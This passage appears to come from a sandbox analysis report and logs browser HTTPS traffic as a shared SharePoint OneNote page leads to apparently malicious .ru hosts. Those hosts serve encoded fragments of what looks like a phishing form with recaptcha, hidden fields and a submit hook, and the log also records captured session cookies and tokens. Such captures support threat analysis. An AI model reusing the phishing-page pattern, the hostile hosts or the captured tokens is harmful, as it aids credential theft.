iZy1yZWNhcHRjaGEiIGlkPSJnciI+PC9kaXY+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0icGFnZWxpbmsiIG5hbWU9InBhZ2VsaW5rIiB2YWx1ZT0iIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJibHRkaXAiIG5hbWU9ImJsdGRpcCIgdmFsdWU9IjEwMi4xMjkuMTUyLjIyMCI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iYm
2024-04-26 07:59:51 UTC	1369	IN	Data Raw: 49 43 41 67 49 43 41 67 5a 33 4a 6c 59 32 46 77 64 47 4e 6f 59 53 35 79 5a 58 4e 6c 64 43 67 70 4f 77 30 4b 49 43 41 67 49 48 30 4e 43 69 41 67 49 43 42 6d 64 57 35 6a 64 47 6c 76 62 69 42 4a 53 46 46 6e 53 45 56 72 56 6c 4a 75 4b 43 6b 67 65 77 30 4b 49 43 41 67 49 43 41 67 49 43 42 32 59 58 49 67 64 6e 68 42 51 6c 56 50 54 32 35 70 57 43 41 39 49 47 52 76 59 33 56 74 5a 57 35 30 4c 6d 64 6c 64 45 56 73 5a 57 31 6c 62 6e 52 43 65 55 6c 6b 4b 43 4a 4f 57 6c 70 34 61 32 52 48 51 30 6c 6c 49 69 6b 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 5a 34 51 55 4a 56 54 30 39 75 61 56 67 75 62 32 35 7a 64 57 4a 74 61 58 51 67 50 53 42 6d 64 57 35 6a 64 47 6c 76 62 69 41 6f 5a 58 5a 6c 62 6e 51 70 49 48 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 49 43 41 67 49 47 56 Data Ascii: ICAgICAgZ3JlY2FwdGNoYS5yZXNldCgpOw0KICAgIH0NCiAgICBmdW5jdGlvbiBJSFFnSEVrVlJuKCkgew0KICAgICAgICB2YXIgdnhBQlVPT25pWCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJOWlp4a2RHQ0llIik7DQogICAgICAgIHZ4QUJVT09uaVgub25zdWJtaXQgPSBmdW5jdGlvbiAoZXZlbnQpIHsNCiAgICAgICAgICAgIGV
2024-04-26 07:59:51 UTC	60	IN	Data Raw: 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 20 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 27 3b 0d 0a 7d 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0d 0a Data Ascii: .location.href = 'https://www.google.com';});</script>
2024-04-26 07:59:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49978	152.195.19.97	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:51 UTC	644	OUT	GET /wise-m/owl/5mttl/msit/10/manifest.json HTTP/1.1 Host: wise-m.public.cdn.office.net Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://usigroups-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usigroups-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 07:59:51 UTC	1137	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 191 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=300 Content-Type: application/json Date: Fri, 26 Apr 2024 07:59:51 GMT Last-Modified: Thu, 25 Apr 2024 21:49:18 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=Miami&ASN=174&Country=US&Region=FL&RequestIdentifier=1315311633691108965510201374054866926521"}],"include_subdomains ":true} Server: ECAcc (mid/8796) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon x-ms-request-id: 4731301b-101e-0058-26af-97b05f000000 Content-Length: 3290 Connection: close
2024-04-26 07:59:51 UTC	3290	IN	Data Raw: 7b 22 63 6c 69 65 6e 74 56 65 72 73 69 6f 6e 22 3a 22 32 30 32 34 30 34 32 35 2e 33 22 2c 22 66 69 6c 65 73 22 3a 7b 22 6f 77 6c 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 61 62 31 30 35 30 32 38 36 64 38 65 37 65 30 63 37 62 63 30 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 70 56 6e 7a 77 72 4b 71 36 57 38 69 51 56 46 6a 79 78 6b 6f 4a 73 46 78 55 4f 4d 63 4d 33 69 37 50 79 78 6b 65 59 47 52 4b 73 31 35 67 62 6c 4f 37 2b 77 4d 6f 79 43 6e 61 46 55 75 69 6d 33 68 22 5d 2c 22 6f 77 6c 2e 73 6c 69 6d 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 73 6c 69 6d 2e 39 66 62 65 64 38 36 31 31 32 38 66 34 64 34 62 35 31 65 66 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 78 70 58 45 61 70 72 67 30 57 4d 31 69 7a 41 66 5a 72 49 5a 4d 2b 33 30 32 39 32 79 4a 59 6c 4e 37 6d 36 43 41 57 54 56 44 38 41 Data Ascii: {"clientVersion":"20240425.3","files":{"owl.js":["owl.ab1050286d8e7e0c7bc0.js","sha384-pVnzwrKq6W8iQVFjyxkoJsFxUOMcM3i7PyxkeYGRKs15gblO7+wMoyCnaFUuim3h"],"owl.slim.js":["owl.slim.9fbed861128f4d4b51ef.js","sha384-xpXEaprg0WM1izAfZrIZM+30292yJYlN7m6CAWTVD8A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49976	172.67.173.130	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:51 UTC	1316	OUT	GET /favicon.ico HTTP/1.1 Host: 4odq.cxnev1.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://4odq.cxnev1.ru/1L9z9v39/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InFNR1c0ZU5jUjJqZkRoa3NtcU1jaXc9PSIsInZhbHVlIjoia2hKZ2JIWXVkaGF3VzZsbFBuVS9sOTRJdVdEY3BsclFYdVVTMGI4RnlXSUJVOUhSMEN1SnNCTUlKdTNBemxrVVlEOFFVMEdTNm5vMjlmbjNDVXErYWcvQ1VtdEFzN3pOY3hWUkdETWRGb2QxbEpPdzhLMFZNQURqc0E5WTB6YnMiLCJtYWMiOiIxZDFhYjFlYjA3NTNkYzhlYmEyYmIzMWYyNDFmY2VjOWNiMmFiOGVkN2Q2NjAwZDUzNzA1MDc4NGExMDYzMDkxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlhrZjdLYW93U2E3akpXYXc2REdBSmc9PSIsInZhbHVlIjoiaFQ5UVVJZnc3a0UwbVVyMHR1cElRKzlsUUEybGRNajgrelJQV3kyN01CYmVzSmYwazlIK2NMMXVYK2J6WUxnY1lKc0VsUTFtdHZVQkRyUUcvd2Y1RE14WDl2NjVQSXdmS0J5c211Z0UwcXJmSWxzcWRFVWNVZjYrVEtxaHEyS1YiLCJtYWMiOiJmNTRjMDkzMWM2YTZmYTczMDFjN2ZjZWFhOTA5NDkyMTNmZTYwN2NlMGRkNjYyMWNhYTVmZGQ2YmJhNzc5N2Q2IiwidGFnIjoiIn0%3D
2024-04-26 07:59:52 UTC	634	IN	HTTP/1.1 404 Not Found Date: Fri, 26 Apr 2024 07:59:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8leWyCPTd8K5pn6oE%2BMrpXe1aGhX6mBu20QWHwceKBGO5XOdpESEcGUsgDTfkSypRl0LYA6g0%2F%2F9MjqIzU4THRMsEJurIxeq7%2BqkcLFL0xh9BSAc9dyr2l6EukeNtw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 CF-Cache-Status: EXPIRED Server: cloudflare CF-RAY: 87a5092e19520699-MIA
2024-04-26 07:59:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49981	152.195.19.97	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:52 UTC	390	OUT	GET /wise-m/owl/5mttl/msit/10/manifest.json HTTP/1.1 Host: wise-m.public.cdn.office.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 07:59:52 UTC	1136	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 192 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=300 Content-Type: application/json Date: Fri, 26 Apr 2024 07:59:52 GMT Last-Modified: Thu, 25 Apr 2024 21:49:18 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=Miami&ASN=174&Country=US&Region=FL&RequestIdentifier=537594699254229414412132093499698435824"}],"include_subdomains ":true} Server: ECAcc (mid/8796) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon x-ms-request-id: 4731301b-101e-0058-26af-97b05f000000 Content-Length: 3290 Connection: close
2024-04-26 07:59:52 UTC	3290	IN	Data Raw: 7b 22 63 6c 69 65 6e 74 56 65 72 73 69 6f 6e 22 3a 22 32 30 32 34 30 34 32 35 2e 33 22 2c 22 66 69 6c 65 73 22 3a 7b 22 6f 77 6c 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 61 62 31 30 35 30 32 38 36 64 38 65 37 65 30 63 37 62 63 30 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 70 56 6e 7a 77 72 4b 71 36 57 38 69 51 56 46 6a 79 78 6b 6f 4a 73 46 78 55 4f 4d 63 4d 33 69 37 50 79 78 6b 65 59 47 52 4b 73 31 35 67 62 6c 4f 37 2b 77 4d 6f 79 43 6e 61 46 55 75 69 6d 33 68 22 5d 2c 22 6f 77 6c 2e 73 6c 69 6d 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 73 6c 69 6d 2e 39 66 62 65 64 38 36 31 31 32 38 66 34 64 34 62 35 31 65 66 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 78 70 58 45 61 70 72 67 30 57 4d 31 69 7a 41 66 5a 72 49 5a 4d 2b 33 30 32 39 32 79 4a 59 6c 4e 37 6d 36 43 41 57 54 56 44 38 41 Data Ascii: {"clientVersion":"20240425.3","files":{"owl.js":["owl.ab1050286d8e7e0c7bc0.js","sha384-pVnzwrKq6W8iQVFjyxkoJsFxUOMcM3i7PyxkeYGRKs15gblO7+wMoyCnaFUuim3h"],"owl.slim.js":["owl.slim.9fbed861128f4d4b51ef.js","sha384-xpXEaprg0WM1izAfZrIZM+30292yJYlN7m6CAWTVD8A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49983	172.67.144.70	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:52 UTC	601	OUT	GET /vqyevmnspgsjgnxfpdshehidRBNanscfjAERXGCWEIDBUCORZFGRYIPNOYEUB HTTP/1.1 Host: yo5.6gniu68.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://4odq.cxnev1.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://4odq.cxnev1.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 07:59:53 UTC	606	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 07:59:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j6252M4deifseDvFEMfm4ybG40CBm%2BGXLpL8qMmJmImvu4xohamHCUOBZPfb8Sr2SNZxB%2BXZLjsDPuE7UaJdWaMJxS83k9obVKiA6WHdQIxxpbunmoFfuggIZ6OKpG307Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a50933be35a582-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 07:59:53 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2024-04-26 07:59:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49984	152.195.19.97	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:53 UTC	645	OUT	GET /wise-m/owl/5mttl/msit/100/manifest.json HTTP/1.1 Host: wise-m.public.cdn.office.net Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://usigroups-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usigroups-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 07:59:53 UTC	1136	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 231 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=300 Content-Type: application/json Date: Fri, 26 Apr 2024 07:59:53 GMT Last-Modified: Fri, 26 Apr 2024 05:18:29 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=Miami&ASN=174&Country=US&Region=FL&RequestIdentifier=372798489756460808516519995093400019369"}],"include_subdomains ":true} Server: ECAcc (mid/8751) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon x-ms-request-id: 40c699ae-d01e-001a-16af-9709df000000 Content-Length: 3290 Connection: close
2024-04-26 07:59:53 UTC	3290	IN	Data Raw: 7b 22 63 6c 69 65 6e 74 56 65 72 73 69 6f 6e 22 3a 22 32 30 32 34 30 34 32 35 2e 33 22 2c 22 66 69 6c 65 73 22 3a 7b 22 6f 77 6c 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 61 62 31 30 35 30 32 38 36 64 38 65 37 65 30 63 37 62 63 30 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 70 56 6e 7a 77 72 4b 71 36 57 38 69 51 56 46 6a 79 78 6b 6f 4a 73 46 78 55 4f 4d 63 4d 33 69 37 50 79 78 6b 65 59 47 52 4b 73 31 35 67 62 6c 4f 37 2b 77 4d 6f 79 43 6e 61 46 55 75 69 6d 33 68 22 5d 2c 22 6f 77 6c 2e 73 6c 69 6d 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 73 6c 69 6d 2e 39 66 62 65 64 38 36 31 31 32 38 66 34 64 34 62 35 31 65 66 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 78 70 58 45 61 70 72 67 30 57 4d 31 69 7a 41 66 5a 72 49 5a 4d 2b 33 30 32 39 32 79 4a 59 6c 4e 37 6d 36 43 41 57 54 56 44 38 41 Data Ascii: {"clientVersion":"20240425.3","files":{"owl.js":["owl.ab1050286d8e7e0c7bc0.js","sha384-pVnzwrKq6W8iQVFjyxkoJsFxUOMcM3i7PyxkeYGRKs15gblO7+wMoyCnaFUuim3h"],"owl.slim.js":["owl.slim.9fbed861128f4d4b51ef.js","sha384-xpXEaprg0WM1izAfZrIZM+30292yJYlN7m6CAWTVD8A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49986	172.217.3.68	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:54 UTC	774	OUT	GET / HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://4odq.cxnev1.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-26 07:59:54 UTC	2084	IN	HTTP/1.1 302 Found Location: https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgRmgZjcGPq9rbEGIjCHdQ87I_8X7EpERwXOCmmjL9oKAXFr96F1WOmI1XIOeJbDFyiByqh7q9vy5JBTwvAyAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM x-hallmonitor-challenge: CgwI-r2tsQYQj6bV1gISBGaBmNw Content-Type: text/html; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-tjWZJ4mKIAIC_k6e3KwWfg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hp Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Date: Fri, 26 Apr 2024 07:59:54 GMT Server: gws Content-Length: 398 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: AEC=AQTF6HwHZem5vFin2CELHBujibfR_VKBhw-RxHuZ4iQNcAs6IR83VDOu_g; expires=Wed, 23-Oct-2024 07:59:54 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=lax Set-Cookie: NID=513=DBYhgSCOZ75WC-YsllQZVMclfTH8MQkjyHSS5lJt-QpKNQehD1ai0JBLumK5auikQxpaPqxdnAM4hyzB56wkpAdWKtsTNJusUOaVu3z1AKzGvbqpHhqnZdaItcVM1WlZiS5_nxXP4HzBXtL9wGt-QDp5I3VwJ5JFALrtCSjXIjg; expires=Sat, 26-Oct-2024 07:59:54 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-26 07:59:54 UTC	398	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 6f 72 72 79 2f 69 6e 64 65 78 3f 63 6f 6e 74 69 6e 75 65 3d 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 26 61 6d 70 3b 71 3d 45 67 52 6d 67 5a 6a 63 47 50 71 39 72 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://www.google.com/sorry/index?continue=https://www.google.com/&q=EgRmgZjcGPq9r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49987	52.108.8.12	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 07:59:54 UTC	1914	OUT	POST /o/RemoteTelemetry.ashx?usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&build=16.0.17601.41008&waccluster=PUS6 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 2566 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://usc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://usc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fusigroups-my.sharepoint.com%2Fpersonal%2Fjs_usigroups_com%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F4275c7cd955949b59e008913e67b2426&wdenableroaming=1&mscc=1&wdodb=1&hid=72B922A1-508D-5000-1E3F-AB9FC2BA975E.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fusigroups-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1714118346761&jsapi=1&jsapiver=v1&newsession=1&corrid=d19e0541-59c5-9a5e-8e10-18de22c9153f&usid=d19e0541-59c5-9a5e-8e10-18de22c9153f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&readonly=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; PUS6-ARRAffinity=cef501cb080d3b02baa5afd04addeaae023ae53b0262f256a03a16339d1987de; PUS9-ARRAffinity=ced079449095b2f8730f0411e34b3fe9a83a7283597ce6ca7087d95cbdd29929; MicrosoftApplicationsTelemetryDeviceId=3fe0b053-f595-48a0-bf8a-ccabe1078356
2024-04-26 07:59:54 UTC	2566	OUT	Data Raw: 7b 22 64 22 3a 7b 22 61 22 3a 22 4f 6e 65 4e 6f 74 65 22 2c 22 62 22 3a 22 65 6e 2d 55 53 22 2c 22 63 22 3a 22 45 64 69 74 22 2c 22 64 22 3a 22 45 44 49 54 22 2c 22 65 22 3a 22 31 36 2e 30 2e 31 37 36 30 31 2e 34 31 30 30 38 22 2c 22 66 22 3a 22 43 68 72 6f 6d 65 22 2c 22 67 22 3a 22 65 6e 2d 55 53 22 2c 22 68 22 3a 22 31 31 37 22 2c 22 69 22 3a 22 31 31 37 2e 30 2e 30 22 2c 22 6a 22 3a 22 31 36 2e 30 2e 31 37 36 30 31 2e 34 31 30 30 38 22 2c 22 6b 22 3a 22 50 55 53 36 22 2c 22 6c 22 3a 22 65 6e 2d 55 53 22 2c 22 6d 22 3a 22 5c 22 58 2b 33 32 52 75 61 5a 71 79 33 59 61 32 39 48 69 70 33 30 34 6d 34 6b 38 63 45 72 31 76 49 71 54 57 37 37 65 44 62 63 43 57 55 3d 5c 22 22 2c 22 6e 22 3a 22 53 68 61 72 65 50 6f 69 6e 74 20 4f 6e 6c 69 6e 65 22 2c 22 6f 22 3a Data Ascii: {"d":{"a":"OneNote","b":"en-US","c":"Edit","d":"EDIT","e":"16.0.17601.41008","f":"Chrome","g":"en-US","h":"117","i":"117.0.0","j":"16.0.17601.41008","k":"PUS6","l":"en-US","m":"\"X+32RuaZqy3Ya29Hip304m4k8cEr1vIqTW77eDbcCWU=\"","n":"SharePoint Online","o":
2024-04-26 07:59:54 UTC	1075	IN	HTTP/1.1 200 OK Cache-Control: private P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 4965d964-7cdb-4c30-8eb3-5a34155baa3f X-UserSessionId: d19e0541-59c5-9a5e-8e10-18de22c9153f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF000091CF X-OfficeVersion: 16.0.17601.41008 X-OfficeCluster: PUS6 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://usc-onenote.officeapps.live.com X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF000091CF X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 